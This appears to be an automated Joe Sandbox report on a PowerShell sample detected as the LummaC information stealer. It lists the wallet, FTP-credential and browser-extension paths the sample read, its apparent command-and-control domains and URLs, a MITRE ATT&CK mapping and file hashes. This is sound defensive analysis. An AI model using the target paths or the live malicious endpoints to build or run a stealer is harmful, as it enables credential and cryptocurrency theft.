Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	121 Virtualization/Sandbox Evasion	2 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
62.122.184.98 (3).ps1	7%	Virustotal		Browse
62.122.184.98 (3).ps1	16%	ReversingLabs	Script-PowerShell.Trojan.LummaC

Source	Detection	Scanner	Label
https://aleksandr-block.com/#p	0%	Avira URL Cloud	safe
https://aleksandr-block.com/apiAPPDATA=C:	0%	Avira URL Cloud	safe
https://aleksandr-block.com/apia	0%	Avira URL Cloud	safe
https://aleksandr-block.com/	0%	Avira URL Cloud	safe
https://punishzement.biz:443/apim8	100%	Avira URL Cloud	malware
https://aleksandr-block.com/apiY	0%	Avira URL Cloud	safe
https://aleksandr-block.com/api	100%	Avira URL Cloud	malware
https://aleksandr-block.com/&vi	0%	Avira URL Cloud	safe
https://aleksandr-block.com/pii	0%	Avira URL Cloud	safe
https://aleksandr-block.com/&v	0%	Avira URL Cloud	safe
https://aleksandr-block.com:443/api0	0%	Avira URL Cloud	safe
https://aleksandr-block.com:443/api	100%	Avira URL Cloud	malware
https://grandiouseziu.biz:443/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
aleksandr-block.com	188.114.97.3	true	false	high
steamcommunity.com	104.102.49.254	true	false	high
littlenotii.biz	unknown	unknown	true	unknown
fraggielek.biz	unknown	unknown	true	unknown
nuttyshopr.biz	unknown	unknown	true	unknown
grandiouseziu.biz	unknown	unknown	true	unknown
marketlumpe.biz	unknown	unknown	true	unknown
spookycappy.biz	unknown	unknown	true	unknown
truculengisau.biz	unknown	unknown	true	unknown
punishzement.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199724331900	false		high
nuttyshopr.biz	false		high
marketlumpe.biz	false		high
grandiouseziu.biz	false		high
https://aleksandr-block.com/api	true	Avira URL Cloud: malware	unknown
littlenotii.biz	false		high
spookycappy.biz	false		high
truculengisau.biz	false		high
fraggielek.biz	false		high
punishzement.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://punishzement.biz:443/apim8	RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1302987160.000001E0A0D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aleksandr-block.com/apiAPPDATA=C:	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aleksandr-block.com/#p	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aleksandr-block.com/apiY	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000001.00000002.1302987160.000001E0A0423000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aleksandr-block.com/	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aleksandr-block.com/apia	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aleksandr-block.com/pii	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aleksandr-block.com/&vi	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aleksandr-block.com/&v	RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aleksandr-block.com:443/api0	RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grandiouseziu.biz:443/api	RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aleksandr-block.com:443/api	RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1302987160.000001E0A0D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1302987160.000001E09F141000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1302987160.000001E09F141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	aleksandr-block.com	European Union		13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591131
Start date and time:	2025-01-14 18:00:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	62.122.184.98 (3).ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@8/5@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 89% Number of executed functions: 34 Number of non-executed functions: 74
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:01:08	API Interceptor	7x Sleep call for process: powershell.exe modified
12:01:09	API Interceptor	9x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PO 2025918 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.vh5g.sbs/54nj/
	trow.exe	Get hash	malicious	Unknown	Browse	www.ftchat.com/
	gem2.exe	Get hash	malicious	Unknown	Browse	wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt
	qbSIgCrCgw.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/kf1m/
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	1SxKeB4u0c.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	suBpo1g13Q.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/swhs/
	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	www.einpisalpace.shop/8g74/?cNPH=WJ/rFpSuW7SUTonvHlYgJHet70+40/nSG+S456FFT70GKpWTD+yYW7KPXc3l6inPZ41lXlQU44ttBNcSIyPO/Awb2QEZq+eieNEXwOjUfdTJHvICblirwfj54bAbpLWz76fPuJmn0JFO&EtJTX=_JVX4ryxDRQpLJF
	wWXR5js3k2.exe	Get hash	malicious	FormBook	Browse	www.supernutra01.online/rk61/
	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.vh5g.sbs/rjsl/
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
aleksandr-block.com	random.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	yTRd6nkLWV.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	XhlpAnBmIk.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	k7h8uufe6Y.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	92.255.57_2.112.ps1	Get hash	malicious	LummaC	Browse	188.114.96.3
steamcommunity.com	lumma1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	random.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	yTRd6nkLWV.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	XhlpAnBmIk.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	k7h8uufe6Y.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	92.255.57_2.112.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	uo9m.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	uo9m.exe	Get hash	malicious	LummaC	Browse	23.50.98.133
	L7GNkeVm5e.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	104.21.80.1
	https://xucr.vafdcekgwp.ru/aIDt6/	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	http://jooracces.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://click.e.varietyvibes.buzz/Y3hpZjhhck5JNVlmRWJOUitMVlFVUzdWZlpZQm41V0lZS3E5dlJjWHNLbzhudFR6Qm5uVlZMZ2hqdkVBTmpZZUxFL2tJclNpYnJaTEdFOC9RVU5CZVlkY004d3ZTblF4S0Y5NW82WmdjMFU9	Get hash	malicious	Unknown	Browse	172.67.201.81
	http://pomservicing.co.uk/pomservicing/Smtb/dGVzdF9tYWlsQGVtYWlsLmpw==%C3%A3%E2%82%AC%E2%80%9A$$%C3%A3%E2%82%AC%E2%80%9A/1/010001943914714a-a13d10fa-2f31-4a50-b2fa-f3854398d733-000000/CAe7zeJgIBBw_nSVrUkbbcG65_c=407	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Ecastillo-In Service Agreement.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	104.17.31.174
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	162.159.128.61
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	172.67.186.98
AKAMAI-ASUS	Message.eml	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27
	PropostaOrcamentoPdf.msi	Get hash	malicious	AteraAgent	Browse	2.17.190.73
	meth10.elf	Get hash	malicious	Mirai	Browse	104.84.5.44
	meth1.elf	Get hash	malicious	Mirai	Browse	104.84.160.200
	m68k.elf	Get hash	malicious	Unknown	Browse	23.203.64.19
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	23.38.98.104
	original.eml	Get hash	malicious	Unknown	Browse	23.56.162.204
	http://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4d1fnHXIidRtPiokrK2um0Eple-2FkJVLqDQnYz8JTbzkA9WlXWZlL3ivdsx3brpVaTH-2FK6m9Qw3cu-2BvTOlnjPR-2BRQieb3dMUHHYNG5OQm5ryxF0Fsg8fRojMxisWNsOHrH9C1cyNh2C-2BapzmizNqUYRxhHtg93ylBbIqH4SXA-2BcyHnCgzv3EsQu4AeMgUYmPWnA-3D-3DLdh5_yvrO630WiuT7pZuPPGURxafPbqYMaSDh9TJohqr8UezRE8eV8vDlm-2BTA5TmdEDZ7yETp46OEIM2MjRx5Mgc-2FSy44clVANtwLrq3nrTfwacsucNAXy1OR1t4kO8Runkcodfdl27Tk2P3ljoutL4PngQr5QuG6-2BzAFT5LByFkcNsd4ZN4BjPhWe-2FurNg8n55w3pC1a745KRvgSQJLhnfGqvVCPndWBC-2FrOGmouU9sI8e8126CrPE36g6YnfTU62FfgD4iz7YqhY5ClzJJ1rfDytmBE27deoiPYjSCUIOExKeOY9BXwol6hEnBu1JrowSiwfKjh7zwfuBtmrvZ6vSOSA4TPvkxfFcg8BlrW1vQm3N4xNhNATHmDPJ14VDZ37GTEiI3qtLYdiyXWWkTzMMnRfMqqHTb6pk7iw0nQ-2B-2F-2BoVFAByTiDqFl-2BEIRuBMpx3EAFKUBzR-2BFkYOUJfVO0AgKNNrj8RX8iEkzqu1jtQg7ixHYmsOTyS67b-2FfHfta82o4E2JYjYGlK5-2B4oC7YaK6nqpfLyDha24FrKV-2FLp72I4nvgzKLPEnT5ZwYuSOhCg3YVBTmOz2nIgG2JSkyg5oeFqAqgkNSx8fK8zislf-2BrA2fYIACU0BIPGyf0fmRMsEmqkL-2Bp3BFpdaGyMHdF1x-2BecUEBz6lLoiPwOcsUtngmDNDJXvvknBRqzikOl9M6fGqG3fXa1gCTdQ65koy28-2F-2BBWPXowJpnZS4HZIyZUo5CD6QHJWBreucOVPnNwQeZjC-2FzCK4Cce5NO367-2F8X6iGngzToJ76PKlG3iKmQrD2mUaULlSVRgzOCG3qGCu5c3-2FNswHxTGs5sX1Z4U8SbnKLBV1PKGCxM9T4n09h2aVmLlExK8v00nv29XzsU7Po9gelTF-2FjMSswYLkMiSOnzlY2BCdCwDuNC1nvBteBGpD-2F22OmpeXpRAaJ0J-2B4lsJiYMNTfeLTVpUwXJ8O1S1sYa5RHOdrs-2FcoPQw3UvxHuDk-2F8iCLoYwSk9C9RD2cz2elRWzi1C1ns-2FlhCnZAhjcKv9Z9Ae1z44jmN81TExev-2BlHq6EzmdhrItggowvzubiVKpLOI41-2FppAUrbGiqMHyKjd3-2F4kk-2Flz32iYslSzl6Dn0eXeS9GKE-2Bpl29Z6ROXa7u-2B5uui0VMIdUdli6dq52DdaYFYPlzSXZJZD6dU1iBoKstrswPNVadTn-2FAGgQ05qSC-2Bkb7G8HU-2BK5xqU5Ufalh9-2FjFROiYaxD3E-2Bu8NoLa7LrZn2WpO-2F0jyY6Vd6CrNPSPrDmzB8lSbamUhpcGSHkMvagS5o-2By7jAAciI99IX68zm80Q3YVM-2BJI1Dy0kwunCbTG4zRPUdxDxmPiGishQoGtkqOda43zr5FgVLFBsuyricc5CP0Uj0NZhEVb-2Br-2FOT93qdqnJE6-2FTp6T2R9YtWtiv-2BEfeLsX6gcdvCtN3M6I13WFY-2ByaP1CVexX5752k6SmFvyspk50Eq	Get hash	malicious	Unknown	Browse	104.102.39.52
	Mbda Us.pdf	Get hash	malicious	HTMLPhisher	Browse	23.56.162.204
	meth5.elf	Get hash	malicious	Mirai	Browse	23.64.208.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	188.114.97.3 104.102.49.254
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.102.49.254
	mWAik6b.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3 104.102.49.254
	lumma1.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.102.49.254
	VRO.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.102.49.254
	VRO.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.102.49.254
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.102.49.254
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.102.49.254

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulXg+//lz:NllUwu/l
MD5:	ED0FF51DEEE7DB96EC9C5624C12E0A04
SHA1:	515B7FC63DB9F9313A6AEE6B4A6266B0FB6FF3A7
SHA-256:	B93B1F8411ACBB11CBECF0F4E344D7D6D3551801BD891B816FB4720E60CE357B
SHA-512:	FD82F7D0B1B6F1641D2FF3F4EC6FEF66E2AB0F2048D7A5BBC674C379DD429516198FFD6E6E445C6EC1A2763ADAACF6288026B4A90697D86C8EED743A71F177ED
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................F..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yomkru3.2af.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pegn3lg3.150.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3762TWKVDB5T2HC0WUS4.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7292965457861227
Encrypted:	false
SSDEEP:	48:yf+TePCg8oU2fvsPukvhkvklCywlgjJIIlL8sSogZoKDJIIl/8sSogZo+1:h6PCg84dkvhkvCCt4JIIkH/JIIEHF
MD5:	097D0312BBBE7C31421361F199D5E9DD
SHA1:	B01619A92440857DB3D4A8E58B9226E1F003418B
SHA-256:	8C5C4BC4E512CC94723D84B5F9A3FE568A4EBAA8820A3990575607C99A0AD662
SHA-512:	A662CA12CB1B2E100EDC573FE1C544CC1A1DC285F83FE8129667BCA39CB499B6EC72986D9FCDAED366E9B0ED51C2AF988C03C8419D5FF70440D6C8CD11A0A349
Malicious:	false
